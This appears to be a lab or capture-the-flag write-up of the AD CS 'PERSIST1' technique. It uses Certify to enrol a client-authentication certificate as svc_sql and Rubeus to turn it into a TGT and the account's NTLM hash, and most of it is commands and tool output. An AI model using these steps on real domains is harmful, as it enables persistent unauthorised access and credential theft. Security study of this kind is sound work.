PERSIST1 - User Persistence via Certificates
PERSIST1 is a technique used to extend initial access to a user into persistent access by requesting a client authentication certificate in the context of the user account, which can be used for future authentication as the user account. If, for example, a phishing attack is successful and access is obtained as a user for which the credentials are unknown, persistent access to that user can be obtained through certificates. https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf
So if you have acces to lets say scv_sql account but don't know the password you can request their certificate and use that to authenticate as that user.
The following criteria comprise a suitable certificate template:
- The enterprise CA grants enrollment rights to the user account.
- The certificate template grants enrollment rights to the user account.
- The "manager approval" feature is disabled for the certificate template.
- The "authorized signature" feature is disabled for the certificate template.
- The certificate template defines an Extended Key Usage (EKU) that enables client authentication.
Client Authentication(1.3.6.1.5.5.7.3.2)PKINIT Client Authentication(1.3.6.1.5.2.3.4)Smart Card Logon(1.3.6.1.4.1.311.20.2.2)Any Purpose(2.5.29.37.0)Subordinate CA(No EKUs)
Enumerate templates
Make sure you compile the latest certify for enum-templates to work.
# Find template
Certify.exe enum-templates --filter-enabled --filter-client-auth --hide-adminsI got templates back but only 1 had:
- Template enabled
- Client Authentication in EKU
- Domain Users can enroll
Certify.exe enum-templates --filter-enabled --filter-client-auth --hide-admins
_____ _ _ __
/ ____| | | (_)/ _|
| | ___ _ __| |_ _| |_ _ _
| | / _ \ '__| __| | _| | | |
| |___| __/ | | |_| | | | |_| |
\_____\___|_| \__|_|_| \__, |
__/ |
|___./
v2.0.0
[*] Action: Find certificate templates
[*] Using the search base 'CN=Configuration,DC=darkzero,DC=ext'
[*] Classifying vulnerabilities in the context of built-in low-privileged domain groups.
[*] Certificate templates found using the current filter parameters:
Template Name : User
Enabled : True
Publishing CAs : DC02.darkzero.ext\darkzero-ext-DC02-CA
Schema Version : 1
Validity Period : 1 year
Renewal Period : 6 weeks
Certificate Name Flag : SUBJECT_ALT_REQUIRE_UPN, SUBJECT_ALT_REQUIRE_EMAIL, SUBJECT_REQUIRE_EMAIL, SUBJECT_REQUIRE_DIRECTORY_PATH
Enrollment Flag : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS, AUTO_ENROLLMENT
Manager Approval Required : False
Authorized Signatures Required : 0
Extended Key Usage : Client Authentication, Encrypting File System, Secure Email
Certificate Application Policies : <null>
Permissions
Enrollment Permissions
Enrollment Rights : darkzero-ext\Domain Users S-1-5-21-1969715525-31638512-2552845157-513
Object Control Permissions
Now retrieve the certificate for svc_sql using the User template.
# Request certificate
Certify.exe request --ca darkzero.ext\darkzero-ext-DC02-CA --template User --out-file cert.txt --quiet
_____ _ _ __
/ ____| | | (_)/ _|
| | ___ _ __| |_ _| |_ _ _
| | / _ \ '__| __| | _| | | |
| |___| __/ | | |_| | | | |_| |
\_____\___|_| \__|_|_| \__, |
__/ |
|___./
v2.0.0
[*] Action: Request a certificate
[*] Current user context : darkzero-ext\svc_sql
[*] No subject name specified, using current context as subject.
[*] Template : User
[*] Subject : CN=svc_sql, CN=Users, DC=darkzero, DC=ext
[*] Certificate Authority : darkzero.ext\darkzero-ext-DC02-CA
[*] CA Response : The certificate has been issued.
[*] Request ID : 6
[*] Certificate (PFX) :
MIACAQMwgAYJKo<snip>
Certify completed in 00:00:12.4415765Then clean up the b64 so we get a valid .pfx file.
# Clean
findstr /R "^[A-Za-z0-9+/]*=*$" cert.txt > cert.b64
# Decode
certutil -decode cert.b64 cert.pfxTo get the NTLM hash we can use Rubeus.
C:\windows\tasks>.\Rubeus.exe asktgt /user:svc_sql /certificate:cert.pfx /getcredentials
.\Rubeus.exe asktgt /user:svc_sql /certificate:cert.pfx /getcredentials
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.0
[*] Action: Ask TGT
[*] Using PKINIT with etype rc4_hmac and subject: CN=svc_sql, CN=Users, DC=darkzero, DC=ext
[*] Building AS-REQ (w/ PKINIT preauth) for: 'darkzero.ext\svc_sql'
[*] Using domain controller: ::1:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIGADCCBfygAwIBBaEDAgEWooIFFjCCBRJhggUOMIIFCqADAgEFoQ4bDERBUktaRVJPLkVYVKIhMB+g
AwIBAqEYMBYbA==
ServiceName : krbtgt/darkzero.ext
ServiceRealm : DARKZERO.EXT
UserName : svc_sql
UserRealm : DARKZERO.EXT
StartTime : 10/21/2025 2:55:25 PM
EndTime : 10/22/2025 12:55:25 AM
RenewTill : 10/28/2025 2:55:25 PM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : 25csCYjTQXD2AtDdbyW+Ow==
ASREP (key) : 4C0E5BB50AD2DB13F011248FF2F0116C
[*] Getting credentials using U2U
CredentialInfo :
Version : 0
EncryptionType : rc4_hmac
CredentialData :
CredentialCount : 1
NTLM : 816CCB849956B531DB139346751DB65F